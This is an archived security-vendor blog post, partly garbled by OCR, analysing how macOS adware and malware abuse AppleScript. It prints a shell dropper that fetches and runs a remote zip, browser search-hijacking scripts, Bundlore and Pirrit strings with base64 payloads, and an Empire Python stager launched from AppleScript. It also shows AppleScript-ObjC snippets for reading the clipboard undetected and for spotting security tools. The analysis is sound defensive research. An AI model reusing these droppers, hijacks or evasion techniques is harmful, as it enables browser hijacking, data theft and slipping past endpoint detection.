https://www.sentinelone.com /blog/how-offensive-actors-use-applescript-for-attacking-macos/

How AppleScript Is Used For Attacking macOS

By Phil Stokes

Published: 2020-03-16 - Archived: 2026-04-05 22:27:17 UTC

When we think about security on macOS and the tools used by offensive actors, whether those are real in the wild

attacks or red team exercises, we tend to think of things like python scripts, shell scripts, malicious documents,

shady extensions and of course, the fake, doctored or trojan application bundle. There is much less attention in the
security field on AppleScript — a built-in macOS technology — despite the fact it’s been around for as long as

Python and predates macOS 10 itself by 8 or 9 years.

As I’ll show in this post, AppleScript is widely used by offensive actors. This includes its use in adware, its use for

tasks such as persistence, anti-analysis, browser hijacking, spoofing and more. Worryingly, given the lack of

attention paid to AppleScript in the research community, that is all without even leveraging some of AppleScript’s

most powerful or unique features, some of which we’ll cover below (others I’ve written about before here).
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Why Have the Good Guys Ignored AppleScript?

Unlike Bash and other shell languages, and unlike Python, a cross-platform, beginner-friendly scripting language

that has achieved widespread adoption and praise, AppleScript is a language peculiar to macOS; not only can you
NOT use it on other Desktop operating systems like Windows and Linux, you can’t even use it on Apple’s other

operating systems like iOS and iPadOS.

As a language, AppleScript has a reputation for being quirky, slow and difficult to develop even simple scripts

with. It’s quirky because it attempts to use “natural language” but in a grammar that is entirely artificial, often

Page 1 of 12


https://www.sentinelone.com/blog/macos-red-team-spoofing-privileged-helpers-and-others-to-gain-root/
https://www.sentinelone.com/blog/scripting-macs-with-malice-how-shlayer-and-other-malware-installers-infect-macos/
https://www.sentinelone.com/blog/adware-apple-google-extensions-put-users-at-risk/
https://www.sentinelone.com/blog/weakest-link-admins-get-phished-macos-osx-dummy-malware/
https://www.sentinelone.com/blog/macos-malware-2019-first-six-months/
https://www.sentinelone.com/blog/mac-malware-osx-dok-is-back-actively-infecting-victims/
https://attack.mitre.org/software/S0281/
https://www.virustotal.com/gui/file/ab4596d3f8347d447051eb4e4075e04c37ce161514b4ce3fae91010aac7ae97f/content/strings
https://www.sentinelone.com/blog/macos-red-team-spoofing-privileged-helpers-and-others-to-gain-root/
https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/
https://www.sentinelone.com/blog/scripting-macs-with-malice-how-shlayer-and-other-malware-installers-infect-macos/

https://www.sentinelone.com /blog/how-offensive-actors-use-applescript-for-attacking-macos/

inconsistent and frustratingly unintuitive. It’s also incredibly verbose. Compare the code for the simple task of

counting the number of items in /usr/bin directory. As ever, a shell script will always be the most concise:

1s -1 /usr/bin | wc -1

Python is a little more verbose, but still fairly clean and familiar:

import os
path, dirs, files = next(os.walk("/usr/bin"))
print len(files)

The AppleScript version, however, is something of an entirely different nature.

tell application "System Events"

set theFiles to name of every file of folder "bin" of folder "usr" of startup disk
count of theFiles

end tell

AppleScript is also slow in execution because, among other things, the underlying technology involves
constructing and sending Apple Events through an archaic interface called the Apple Event Manager that was
written for Apple’s System 7 operating system (released in 1991) and not optimized for performance even back

then.

Open Scripting Architecture

Open Scripting Framework

'y . A & AppleScript
' “ component
oy 4
script Script Editor

Apple event

Apple Event Manager |

J Reply Apple event
(if requested)

Source: AppleScript Overview, © 2002, 2007 Apple Inc.

And it’s historically been difficult to develop scripts with AppleScript because most people who come to it will
attempt to use the free, built-in but notoriously spartan (Apple)Script Editor.app, which lacks almost every and
any feature developers normally expect and need. There’s no debugger, there’s no variable introspection, there’s

no code snippets or effective code completion, to name just a few missing features.
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tell application "Finder"

activate

set aWin to make new Finder window to folder (path to documents folder)
end tell

=

E

Result Messages Events
tell application "Finder"
activate
path to documents folder
--> alias "Macintosh HD:Users:clare:Documents:"
make new Finder window to folder (alias "Macintosh HD:Users:clare:Documents:")
--> Finder window id 63
end tell

Result:
Finder window id 63 of application "Finder”

@ ¢ B
Until recently, the only 3rd party alternative to Script Editor was priced at $200 and had a time-limited, 20-day

demo period.

In short, the investment in time, effort and money required to produce something that still, after all that, can only
be used on the macOS Desktop, effectively puts AppleScript at the bottom of the list for most people when it
comes to choosing a useful or productive programming language. As a result, despite being with us for nearly 30
years, AppleScript is barely used by the majority of Mac admins, Mac developers or Mac end users. Indeed,

AppleScript may have a good claim to being the Most Unloved and Unlovable Programming Language Ever.

So Why Do the Bad Guys Love Using AppleScript?

AppleScript was designed for automation and interapplication communication: the goal being to allow ordinary
users to chain together repetitive tasks and execute them without further user interaction. For example, you can
have Mail.app automatically trigger a script when it receives an email from a certain sender, or with a particular
keyword in the subject line or content, extract whatever details you want from the email, and then populate a
database in Excel or Numbers with the desired information, formatted and sorted on-the-fly as the data comes in.

There’s no need for the user to be involved in any of this once the script is set up.

And as it turns out, automating interapplication communication and sidestepping user interaction is a godsend for
malware authors. What could be more useful than bending popular applications like email clients, web browsers

and the Microsoft Office suite to your will without needing to involve the user (aka in this scenario, the victim)?

And so, despite its general lack of appeal in almost all possible audiences for a scripting or programming

language, there is one audience that does use AppleScript widely, if not particularly artfully or cleverly, and that is
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threat actors. Let’s look at some examples.

Recent Examples of AppleScript in macOS malware

A recent browser hijacker targeting Safari installs a hidden LaunchAgent that, via a shell script, loads, compiles

and executes AppleScript.

It starts with a shell installer script packaged inside a DMG that’s supposed to contain an application called

‘PDFConverter4u’. But in a hidden .assets folder on the disk image is a first stage shell script:

5f198e82c0cf9a9f7d7a8d0@1273abad75a17a95960d8996dcdd0@28922b3d97bc

$(dirname "$0")"
hint="4%$(1s | grep -v 'l.png\|2.icns\|converter.tool\|script-enc')"
cmd="%(openssl enc -d -aes-256-cbc -A -base64 -k $hint -in script-enc | sh -)"

nohup /bin/bash —c "$emd" >/dev/null 2>&l &
killall Terminal

This unpacks and executes a second stage shell script:
55529224e9f70f5cab00@7e2ca%8fbaec5cf31eb923fdfc09f6@c@1cc45c80666

1 #!/bin/bash

P ="$(mktemp -d /tmp/XXXXXXXXXXXX

3 curl http://depot.pdfconverter4u.com/PDFConverterd4u.zip --silent --output /dummy.zip
4 zip -q -d /dummy.zip "__MACOSX*

5 unzip -q /dummy.zip -d

6 app = 1s | grep -v 'dummy.zip head -n 1

7 open -a /" --args -appld 1564925864421222 -identity Searcher4u -install_url http:
//reason.searcher4u.com/vZ2/install -signature DAN_AMIT_SIGNATURE -cVersion 1469

Which eventually produces the hidden launch agent that executes another shell script containing the following

AppleScript code, launched via osascript .

cdaa2121d79031c¢f39159198dfe64d3695a9c99ff7c3478a0b8953ade9052ecc
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h(rm
_ to ((myURL contains "g=") and (myURL contains "google.com") and (myURL contains "/search”) and (myURL contains "client=safari") and (myURL does not contain
"channel= bm") and (my ps B Y 25 ail dle"))
sY to (( ains . \? T - ains ", - a =utf-8&fr=aaplw&p="))

B to (( RL contains K ") a ai 2 my C a form=APMCS1"))
if (isGL or isY or isB) then

return true
else

return false

if application "Safari" is running then
tell apphcanun "Safari"
RL to URL of current tab of window 1
heURL) of me
rch is equal to true then

set s to theURL
set AppleScript's text item delimiters to {"q=", "p="}
set urlQuery to text item 2 of
set s to Jue
set AppleScrlpt s text item delimiters to "&"
set urlQue 2 to text item 1 of s
set AppIeScnpt s text item delimiters to the "tagSearchQuerv"
st to every text jtem of OurSe
IeScnpt‘ text item delimiters to the
rl to the ite ist as string
set AppIeScnpt s text item dehm\ters to "™
set (URL of current tab of window 1) to (
(0.5)
end if
end tell
end if
end addOne
repeat until application "Safari" is not running
try
(0.1)
addOne()

The purpose of the AppleScript is to replace the user’s search query on popular search engines google, bing and
yahoo, with one provided by the attacker’s shell script. It’s a quick and easy way for bad actors to make money

out of clicks which negatively impacts the victim’s productivity.

While this particular sample comes packed in a separate file, many others write their AppleScript directly into a

MachO binary, either in plain text strings or in obfuscated base64 or similar encoding.

The following strings extracted from a Bundlore installer show that the code tries to force enable JavaScript

execution in Google Chrome, then uses AppleScript to execute it in the active tab of the browser’s front window.

Strings from 41e0d31d52ch93f6a5020a278e8f360abe134ebcc7092b4dabe575ac8b96a8d74

Chrome JS :: setChromelsFromAppleEventsState to
Chrome JS :: Retrying updatePrefs(
Chrome ]S :: Removing sync data did not enable 1S. Trying force deleting it
Chrome ]S :: Force deleting sync data did not enable 1S. Trying KB shortcut
Chrome JS :: KB shortcut did not enable ]S
/L\hrary/Appl\catlun Support/Google/Chrome
/Sync Data/SyncData.sqlite3
Chrome JS :: Failed to open Sync Data DB:
delete from metas where specifics like '¥apple_events¥false%'
Chrome JS :: Removing sync data in
Chrome JS :: Sync data DB deletion failed, statement:
Chrome JS :: Force deleting sync data

try

tell application 'Google Chrome' to tell first window to tell active tab to set jsResult to execute javascript 'document.readyState;'
on error the errMsg number the errNum
set jsResult to errNum

end try
Chrome isJsFromAppleEventsEnabled result =
Chrome JS :: Not allowed Apple Events, trying to enable
Chrome JS :: Couldn't update TCC.db
Chrome isJsFromAppleEventsEnabled (Post DB update) result =
Cannot terminate Chrome
/Applications/Google Chrome.app/Contents/Info.plist
0S_dispatch_queue

The next sample is a variant of a Pirrit malware.

21337ccee215801cab82f1764f3e37ff806e7510ded5576c@fb4d514b4cf2b7c
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213371ccee215801cab82f1764f3e37ff806e7510ded5576c0fb4d514b4dcf2b7c

28 U 28 engines detected this file

21331ccee215801ca682f17643e371f806e7510ded5576c0fb4d514b4ci2b7c 149.31 KB
MacPerformance

S — 64bits macho

The authors use both plain text AppleScript and base64 encoded AppleScript, targeting Safari, Chrome and

Firefox browsers.

T{_RNCryptorSettings=IQQIIQ{_RNCryptorKeyDerivationSettings=QQIIIc}{_RNCryptorKeyDerivationSettings=QQIIIc}} N,V settin
22xVYmF sTFInaNQNCNLACEF cGLKIHRYICImaWRF dmF s NV FdGIF cmVwbGF 25 INCGOK<mVmZIF@DQr Cq2V2ZNS@1FhGZH) JamN@nr s ge30gDQpLbmQgcmVwZHFBDQoNCgOKbZ 4gwat LdnVudCBYRmRySHp jdMK7IHEIDQpkZNxheSAnL JUNCRy eQOKaWYgaXN FUZFmYX)pX3]1bmSpbmcoKSBOAGY:
02x S IGFweGxpY2FOGNIUTCITYWZhcmii IAOKAGYSbCBhCHB saWNhdGLvbiAiUZFmYX)p]80byB2 ZXQgeGFnZVIzb3VyY2UgdG8gZGBgSmF ZYVN] cmlndCAL 269 jdW11bnQuYmIkeSSpbms | ckhUTUZI{Bpbi B dX)yZNSOTHRY{BvZ{BmaX)zd(B3aN5kb3cg0QppZ1 BwYNA1X3NvdX) jZSBKb2VZIG
SvdCB jb250YWLuLFIwalkQgdGh1bg@Kc2VOIHROZVVSTCBObYBVUKkwgb2YgY3VycmVud(BRYNIgh2YgZml yc3Qgd21uZG930QppZ i BOAGYVUkwgaXMgbmI@1GVxdWF s IHRVICJhYm91dDpibGFuayIgdGhlbg@KdGVsbCBhCcHB saWNhdGlvbiATUZFmYXJpIiB@byBkbyBKYXZhUZNyaXBOICI2YXIgCGLKR
6121089269 dW11bnQuY3] LYXR1RNx1bWVudCgnZG12yk7THBpZERpdi52dH1 sZ55kaXNwbGFSID0gXC Jub 251 XC 17 THBpZERpd i SpbmS1 ckhUTUngPSBCT1Tg]1Bf cG1kICYaT LwiOyBkbZN1bHVUACSnZXRFbGVEZNSBCISVGF nTmF 2 SgnYmOkeScphzBdLmF weGVuZENoaNxkKHBpZERp 1 k711 Bp
biBjdXJyZWSOIHRNY{BvZiBraX)zdCBIaNSKbICNCARLbGwGYXBWbGL JYXRpb24gTINNZNFyaS IgdGBAZGAGSMF 2YVN cHlwdCA| dnF yIGpzXINjcmLndCAILGH £ZWSOLmNYZWFZUVS ZW11bnQo) 3N cml wdCcpOyBqcl QYXZhcZNyaXBOXCI7IGpzX3Nical
wdC 52 cmMgPSBCTnNj cmlwd F99b19pbmp1 Y3RC1 §502G9 W1 1bnQuZ2VERMx1 bWVudHNCeVR285hbWUo]Zh 1 YHQNKVswXS5hcHB1bmRDaG1 s2Chac192Y3)pcHQpOyIgaW4gY3VycmVudC BBYWIgb2YgZml yc309d21uZG3300p1 bmQgalYgDQp 1 bmQgalYNCmVuZ CB8ZWxsDp 1bmQgalYNCmVuZCBACn
KNCAVUZCDCQ2VZZWSO1FhGZH) )amN@wr SNCgOKb24gaXhFU2FmYXIpX311bmSpbmcokSANCARbGwgYXBWbG1 § YXRpb24gT LNSC3R1bSBF dmVudHMi THRYIChuYW1 1 TGImIHBYb2NLCIN1 cykgY29udGF pbnMg I 1NZeFyaS INCRVUZCBPC19TYWZheml fenVubml uZw
Z2xvYmF sIFIwaNQNCnNLdCBf cGLIHRYICIwaWRfdmFsdWVfdGIfcmVwbGF j251gDQpyZXB1YXQNCsKrZXZ1bnQgWEZkck1qY3TCuyB7fQOKZNSKIHI1cGVhdABKDQpvhiDCq2V2ZWS@IFhGZH] JamNewr sge3@gDQpkZiixhe SAwL JUNCnRy eQ@KaWYgaXNfQZhyb211X3) 1bmSpbmcok SBBaGYUDQpOZNx
SIGFweGxpY2F@aNduLC JHbZ9nbGUgQ2hyb21111BhyBOZNXSIGF JAG1 22 SBOYWIgh2Ygd21uZGI3IDENCNNL dCBZb3VyY2VIdG1s IHRVIGVAZNNLAGUgAmF ZYXN] cmiwdCAL ZG9§dN11bnQuZ2VaRNx bWV udHNC eVRhZ@ShbWUO Zh@biwnKV sWXS5pbmS L ckhUTUwi DQppZ i B2b3VyY2VIdG1 s IGRVZX
Mgbm9@1GNvbnRhaW4gX38pZ(BOaGVuDQp@ZWxs IGFwcGxpY2F@aNduICIHb29nbGUgQZhyb21111B0byB1eGV jdXR1IGZyb25@IHdpbmRvdydz IGF jdG12ZSBOYWIgamF2YXNjcmlwdCAidmFyIHBpZERpdIAIIGRYYIVLZNSOLmNYZWF@ZUVSZW1lbnQol ZRpdi cpOyBmalREGXYuc3R5bGUGPSBCImRpe
3B5YXk6bmIuZVwidyBwaWREaXYual5uZX) IVEIMIDAGXCT1 ICYaX3BpZCANIC) cI 59263 jdH11bnQuZZVERHx | bHVUdHNCeVRhZ8Shbo]2 v ZHknKVswKS5hcHB LbmRDaGl sZChwaliRE aXYpOy INCAR1bGrgYXBwbG jYXRpbZ4gTkdvb2ds2 SBDaH)vbAU1 THRV IGV4ZWN1dGUgZn)vbnQgd2 1uZGo:
J3MgYWNOGXZ1 THRNY{BqYXZhc2NyaXBRIC)2YXIganNf c2NyaXBOIDOGZGI IdN11bnQuY3 I YXR RWXLbWVUACGNC 2NyoXBOJyk71GpZX3NFcmLwdC 50eXB1 IDBGXCIOZXNOL2phdmF 2Y3)pcHRCIjsganNf c2NyaXBRLNNyYyAILFwi c2NyaXBOX3RVXZ LuamVdFwi OyBkbZN1DWVUACSAZXRFEGVEZNS
0c0J5VGFnTnF£25gnaGVhZCophzBdLmFwcGYuZENoalxkKGpzX3NjcmlmwdCk71g@KZH5kIGLmDQp1 bmQgdGV sbABKZNSKIGLmDQp LbmQgdHI5DQp | bmQgwqtl dmudCBYRmRySHpjdMK7DQoNCmIuTGL2X@NoCmILZVIy dNSUGNSAK CkgDQpOZNx s IGFwcGxpY2FBaNIuI LI TeXNOZHBGRXZ  bnRz11BBby
AobmF £25BvZ1Bwcm j ZXN2 ZXMpTGNvbARhaNSZIC JHE29nbGUGQZhyb2 11 IgOKZNSKIG1 ZXBNOCROt ZVIydNSUANSN
Z2xvYmFsIGR1bGF5VGtZQOKc2ZVOIGRLIDGFSVGL £Z5BObyBkZNxheVI@aN11X3RVAINLAABKZZxvYmFSIGS1d1RhY1VybABKC2VOIGS1d1RhY1Vyb(BObYA1dXIsX3RvX3N1 dF9pbl9uZXdfdGFi1gOKZZxvYmFSIGN1cn] LbnRVCmwNCnNLACB jdX)yZWS@VX] s THRvICIiDQpnbGIiYWwgcH) LdmLvdXN
wHCNNL dCBwemV2aW9 1 1VybCBBbYAT 1gOKZ2xvYmF SIGS1d1RhY1dpdGhQcmV2DQpzZXQgbmV3VGF1VZ10aF ByZXYgdGBT1 INCaOKemVWZNFODQrCq2VZZNSO1FhGZH) JamNwr sge3ONCmVy ZXB1YXQNCg@Kb24gwat 1 dmVudCBYRmRy SHp jdMK? IHtIDQpkZAixhe SAOZGYSYXLUaW1 1 ICoghy
ApDQPOCNKNCmLmIGLzX8Zp cuVimb3h fcnVubml uZygp THROZWANCHRLbGg YXBwbG1 § YXRpb24g TkZpcmVmb3g i THRVIGF JdGL2YXR10QpOZWxs1GFcGxpY2F@aNIuIC I TeXNOZWBGRXZ LbnR21g@Ka2V5 cIRyb2E1 ICIs 1iB1c21uZyB b2 1t YWSKIGRvAZANCm 1 eXNOCRIrZSAL Yy IgdXNpbmcgY29th
WFuZCBkb3duDQpkZixheSgxKQOKZHSKIHR1bGRNCNLACS JdX)yZW50VX) s THRVIHROZSB jbGLwYmOhcmQNC g8KaWYgY 3VycmVudF VybCBpcyBub3QgZXF1YHwadGBgcH I dml vdXNV cmmgdGh1bgK c2VA1G51d1RhY1VybF dpdGhQemV2THRVIGS1d1RhY1VybABKC2ZVOIGS1 d1RhY1VybFdpdGhQemv2
THRVIHI1cGXhYZVFYZhhcnMobmV3VGF {VX)sV210aFByZXYsICbQOIOVEVYVFIVUKxALiwgY3VycmVudFVybCkNCAR1bGgYXBWGL §YXRpbZAGTKZpcmVimb3g i DQPVCGVULGxvY2FOANIUIGS1d1RNY1VybF dpdGhQcmV20Qp] bmQgdGVsbAGKCc2VOTHBYZXZpb3VZVXISTHRVIGS d1RNY1VybFdpdGh
QcmV2DQp 1 bmQgaWYNCmVuZ CBpZg@KZWSk IHRyeQOKZWSKIMK rZXZ1bnQgEZkckl gY3TCum@KDQpvbi Bp: J1Zn94X31 1bmSpbmcoKQBKAG BsaWNhdGLvbiAi U31zdGVEIEVZZN5Bey IgdGBgKGShbUgh2YgcHIVY2Vzc2VzKSB 1b250YHlucyAiZnl yZWZveCINCRVUZCBpc19GaX 1 Zn
94X3) 1bmSpbmcNCaBKb24g cmVwbGF 12V9 a6 Fycyh@aG12X3R1 eHQSTHNLYX) jaF9zdH)pbme s TH) 1 cGxhY 2V ZW50X 3NBcmL uZykNCnNL ACBBCHB S ZVNS cml wdCdz THR1 eHQgaXR1bSBkZWxpbW10Z)X )z IHRVIHROZSBZZNFy Y Zhfc3RyaN5nDQpzZXQgdGh1 1G10ZW1 FbG1 zdCBObyB] dmVyeSBOZXhAL
G102Wegh2YgdGhpc190ZXhoDQpzZXQgQXBRbGYTYIIpcHQnCyBOZXhOIGL8ZWAGZGY a1 pdGVy cyBObyBRaGUgCVbGF jZW1LbnRf c3RyaWSnDQpzZXQgdGhpc190ZXh@IHRvIHROZS BpdGYEX2xpc3QgYXMgc3Ryal5nDQpzZXQgQXBmbGYTY 3)pcHQncyBOZXhO1G10ZNBGZGY sal1pdGVycyBRbyAL
TgBKCaVOdXIUTHROAXNF AGVAdABKZWS K TH] L cGxhY2VFY2hh i
dXJsX3RVX3N1dFIpb19uZXdFdGFi
€GLkX3ZhbHV1X3RvX3]1cGxhY2U=
Cc2NyaXBOX3RVXZLuanVjdA
ZGVsYX1fdG1tZVIeb192ZXQ=
L3Vzci91aN4vh3INhc2NyaXBe
LOxpYnJhenkvUHILZnVyZNS ) ZXMvY 29t LmF ncGxpY2FOGNIUCY SWbGLzdA==
bmFt2(,
2612dF9jaGFubmVsX21k
bHF jaGluZVIpZA
Y2xpY2t foNQ:
ZGotYWlu
axs
ZGVsYXk=
L@xpYnJhenkvUHI1ZnVyZN5 I ZXMYY 29t L g
LnBsaXNO
[MACHINE_ID]
if application "Safari® is running then
run script "tell application \"Safari\" to return URL of front document”
end if
if application "Safari” is running then
tell application id (id of application "Safari™) to open location "[URL_TO_OPEN]"
tell application id (id of application "
delay 5.8
end if
if application "Safari® is running then
run script "tell application \ \" to window
tell application id (id of application
tell application id (id of application \"Safari\") to set the content to the text of document 1
repeat until length of (content as string) is not @
delay 0.2
tell application id (id of application \"Safari\") to set the content to the text of document 1
end repeat

Here’s some of the decoded base64 targeting Firefox and attempting to perform automated keystrokes to copy the

current URL to the user’s clipboard before replacing the URL to that of the attacker’s choice:
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on «event XFdrljct» {}
(delayTime * 60)
try
if is_Firefox_running() then

tell application "Firefox" to

tell application "System Events"
"I" using command down
"c" using command down

(1)
end tell
set currentUrl to the clipboard

if currentUrl is not equal to previousUr| then
set newTabUrlWithPrev to newTabUrl
set newTabUrlWithPrev to replace_chars(newTabUrIWithPrev, "[CONTEXT_URL]", currentUrl)
tell application "Firefox"

open location newTabUrlWithPrev

end tell
set previousUrl to newTabUriWithPrev

end if

end if
end try
end «event XFdrIjct»

on is_Firefox_running()
tell application "System Events" to (name of processes) contains "firefox"
end is_Firefox_running

Using AppleScript Without Apple Events

Speaking of base64, the next example illustrates something that many ordinary users and developers have
overlooked about AppleScript, but which offensive actors have not: you can use AppleScript to execute any other

kind of script, including python scripts like this one which drops the Empire exploit kit.

do shell script "echo \"import

sys,base64,warnings;warnings.filterwarnings('ignore'); exec(base64.b64decode('aWiwb3J0IHN5cztpbXBvcnQg
cmUsIHN1YnByb2NIc3M7Y21kID0gInBzIC1I1ZiB8IGdyZXAgTGI0dGxIXCBTbmI0Y2ggfCBncmVwIC12IGdyZXAiICnB
zID0gc3VicHIvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUSIHNOZG91dD1zdWIwecm9jZXNzLIBJUEUpCm91dCA
9IHBzLNN0ZG91dC5yZWFkKCkKcHMuc3Rkb3VOLmMNsb3NIKCkKaWYgcmUuc2VhcmNoKCIMaXR0bGUgU25pdGN

oliwgb3VOKToKICAgc3lzLmVV4aXQoKQppbXBvcnQgdXJsbGliMjsKkVUE9101vemisbGEvNS4wIChXaW5kb3dzIESUI

DYuMTsgV09XNjQ7IFRyaWRIbnQvNy4wOyBydjoxMS4wKSBsaWtLIIEdIY2tvlztzZX12ZX1912h0dHA6LYy9hcHAUZG9j
dXNpZ24uZGlnaXRhbDo4MDgwJ]ztOPScvYWRtaW4vZ2V0LnBocCc7cmVXPXVybGxpYjluUmVxdWVzdChzZX12ZXI
rdCk7CnJlcS5hZGRfaGVhZGVyKCdVc2VyLUFNnZW501yxVQSk7CnllcS5hZGRfaGVhZGVyKCdDb29raWuUnLCJzZXN
zaW9uPTIxdm5wRERZckJwNHRRWIi9HYUVWNWXxzTDIRcz0iKTsKcHIveHkgPSB 1cmxsaWIyLIByb3h5SGFuZGxicig

pOwpvID0gdX1sbGliMi5idWIsZF9vcGVuZXIocHIveHkpOwp1lcmxsaWlyLmluc3RhbGxfb3BIbmVyKG8pOwphPXVyb
GxpYjludXIsb3BlbihyZXEpLnlIYWQoKTsKSVY9YVswOjRdO2RhdGE9YVs00I07a2V5PUIWKydIM2Y40WQ4NmMY5Zj
BkN2NhZGMyNzBkYmZiNTRmMYzQyMyc7UyxqLG91dD1yYW5SnZSgyNTYpLDAsW10KZm9yIGkgaW4gcmFuZ2UoMj
U2KToKICAgIGo9KGorU1tpXStvemQoa2V5W2klbGVuKGtleSIdKSkIMjU2CiAgICBTW 2IdLFNbal09U 1tgXSxTW2IdC
mk9ajowCmZvciBjaGFyIGIuIGRhdGE6CIAgICBpPShpKzEpITI1NgogICAgajOoaitTW2IdKSUyNTYKICAgIFNbaVOsU
1tgXT1TW2pdLFNbaVOKICAgIG91dC5hcHBIbmQoY2hyKG9yZChjaGFyKVSTWyhTW2IdK1NbalOpITI1NIOpKQpleG
VjKCenLmpvaW4ob3VOKSk="));\" | /usr/bin/python &"

And what’s true of AppleScript and Python, is true of AppleScript and Perl, AppleScript and Bash and indeed
AppleScript and absolutely any command line tool at all: you can call them all and bring their functionality into

your AppleScript and combine that with other utilities.
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1:1 <no selected symbol>

TR oo o Atrint

W<

{
{

name:"Browser",
application:"com.apple.Safari"

set pyScript to "python -c 'from LaunchServices import *; print { e
LSCopyDefaultHandlerForURLScheme(\"" nan}e. tEm?,',l . | i
set varlList to {{name:"Browser", protocol:"http\")""}, 3 Gl gt el ]

}

{name:"Email", protocol:"mailto\")""}}
set defaultHandlers to {}
repeat with v in varlList
set end of defaultHandlers to {name:v's name, application:
(do shell script pyScript & v's protocol)}
end repeat
defaultHandlers

The examples above all use what we might call ‘vanilla AppleScript’. That is, the native AppleScript language
that’s been around since the early days of the platform. But starting in Yosemite, 10.10 and continuing up to and
including the most recent version of macOS, AppleScript has been given increasing power through access to
Cocoa frameworks, and this opens up the possibility of creating full-blown, powerful programs and applications
with nothing other than AppleScript itself. Objective C executed through AppleScript is, speed-wise, more or less

on a par with Objective C executed in a MachO binary.

And interestingly, although we haven’t seen threat actors making use of these powerful capabilities so far, there’s
at least two reasons why we may well do so in the future: first to avoid detection, and second, because of the easy

availability of a good development environment.

Using AppleScript to Avoid Detection

Avoiding detection on execution is a primary objective for all malware (even ransomware, which doesn’t want to
get noticed until after execution). AppleScript offers offensive actors a plethora of ways to execute. In addition to
simply executing a .scrpt file, you can run AppleScripts from Mail rules, from a shell script, in memory, from
the command line, from within a MachQ, in a plain text, uncompiled file, from an Automator workflow, from a

Folder Action, a Finder Service or from a Calendar event.
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New Event
home

all-day: |
starts: 18/03/2020 09:00
ends: 18/03/2020 10:00

repeat: None

travel time: None
alert: Custom...

Open file o

~

GetPasteboard.scpt ¢

15 minutes before

Cancel (0] ¢

Because of AppleScript’s ability to execute Objective C code without needing a compiled binary, this opens up a
number of interesting attack possibilities. It also potentially opens up the ability to bypass detection tools based on

Apple’s new kextless security framework introduced in macOS Catalina 10.15.

In an excellent post by Cedric Owens called Taking the macOS Endpoint Security Framework For A Quick Spin,

Owens sets out to test what can and cannot be detected using three recently developed 3rd-party security tools that

leverage the new Apple Endpoint Security framework.

One of the interesting things that Owens found was that if you tried capturing the user’s clipboard via osascript

and vanilla AppleScript, this activity would be easily picked up by all the tools he was testing.
osascript -e 'the clipboard'
However, when using the native Cocoa API, NSPasteboard, none of the Endpoint Security framework-powered

tools Owens tested appeared to capture that activity. But now, of course, we can execute NSPasteboard natively

from AppleScript, too!
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(T S ©cst Desc  Aprint

use AppleScript version "2.4" (10.10) or I (NSString) "https://medium.com/red-teaming—
use scripting additions with-a-blue-team-mentaility/taking-the-macos-
use framework "Foundation" endpoint-security-framework-for-a—quick-
spin-802a462dba06"

611 <no selected symbol>

W m <

use framework "AppKit"

property NSString : a reference to current application's NSString

property NSArray : a reference to current application's NSArray

property NSPasteboardTypeString : a reference to current application's
NSPasteboardTypeString

property NSFileManager : a reference to current application's NSFileManager

property NSPasteboard : a reference to current application's NSPasteboard

set aList to {}

set fileManager to NSFileManager's defaultManager()

set pbGen to NSPasteboard's generalPasteboard()

set pbltems to pbGen's pasteboardItems()

set str to pbGen's stringForType:NSPasteboardTypeString

Notice that our one line, simple but also detectable osascript has turned into about 14 lines of complex-looking

AppleScript-ObjC. Few people, certainly not I, would want to try and construct that kind of code in Script Editor.

However, the problem of developing complex AppleScripts is now more or less a thing of the past. The 3rd party
alternative mentioned earlier in this post now has an unlimited free trial version and retails at half of its old price;
more importantly, it also allows you to drag and drop a great deal of boilerplate code like that used in the script
above straight into your scripts. And it provides developer-friendly functionality like code completion and API

lookups that really take the pain out of developing AppleScript code.

Let’s look at another example. A lot of offensive operations want to avoid targets that are running particular
software. Little Snitch is a prime example, various VM software is another. We can easily get a list of running

apps by name and test for those, again directly by calling into Cocoa APIs, this time via NSWorkspace.
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311 <no selected symbol>

use AppleScript version "2.4"

use scripting additions

use framework "AppKit"

property NSWorkspace : a reference to current
application's NSWorkspace

setr to {}

set activeApps to NSWorkspace's sharedWorkspace's
runningApplications() as list

repeat with anApp in activeApps
set this_app to anApp's localizedName as text
set end of r to this_app

end repeat

W ml e

"WireGuard",
"TextInputSwitcher",

"ParallelsIM",

"com.apple.PressAndHold",

"Little Snitch Network Monitor",
"SoftwareUpdateNotificationManager",

"Little Snitch Helper",

"Location Menu",

"Carbon Copy Cloner",

"CCC User Agent",

"nbagent"”,

"storeuid",

"Simulator",
"com.apple.CoreSimulator.CoreSimulatorService",
"OSDUIHelper",

"Hammerspaon",

"BBEdit",

AEPrint

"studentd",

"QuickLookUIService (Spotlight)",

"Numbers",

"AlchyB64",

"Coda",

"Codalndexer",

"com.apple.appkit.xpc.openAndSavePanelService
(BBEdit)",

"QuickLookUIService
(com.apple.appkit.xpc.openAndSavePanelService (BBEdit))",

"Script Debugger”,

Raw Source  AEPrint | show:

20

Duratien |

App Apple Event Time

Expres.. Value

Stopped

If we just want a true/false test for the existence of specific apps, we can just put the app names in a list and return

true on the first hit.

10:1 <no selected symbol> e Result

use AppleScript version "2.4" --
use scripting additions

use framework "AppKit"

property NSWorkspace : a reference to current
application's NSWorkspace

set activeApps to NSWorkspace's sharedWorkspace's
runningApplications() as list

set appsToFind to {"ParallelsIM", "Little Snitch
Helper", "Little Snitch Monitor"}
repeat with anApp in activeApps
if (anApp's localizedName as text) is in
appsToFind then return true
end repeat
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In other words, by leveraging AppleScript’s hook into Cocoa frameworks, we can execute native code without the
overhead of building MachO binaries or MachO apps (although you can do both of those with AppleScript, too!).
We can do this filelessly so that we don’t get caught by new ‘kextless’ tools such as those tested by Owens, and
we can execute this code in far more ways than any other kind of code available on macOS, whether that’s shell

scripts, Python scripts or native macOS bundles.

Conclusion

The upshot here is that the main reasons why the good guys have typically eschewed AppleScript are in fact no
longer relevant or true. Since we’ve already seen threat actors taking advantage of AppleScript despite those
obstacles in the past, it’s only reasonable to assume that they may delve deeper into what this unique language has
to offer in the future. Thanks to the native hook into Objective C and the powerful Cocoa frameworks, the variety
of execution methods and now the availability of an excellent, free-to-use IDE, AppleScript has become a tool that

is powerful, versatile and easy-to-develop with.

Attackers will always look to exploit the things defenders ignore, and to say that AppleScript has been ignored by
the security community thus far is an understatement. I have elsewhere described AppleScript as “the PowerShell
of macOS”. Certainly, it’s time we stopped thinking of AppleScript as the Most Unlovable Programming

Language Ever and recognize that it may actually be the One macOS Programming Language to Rule Them All.

Source: https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/
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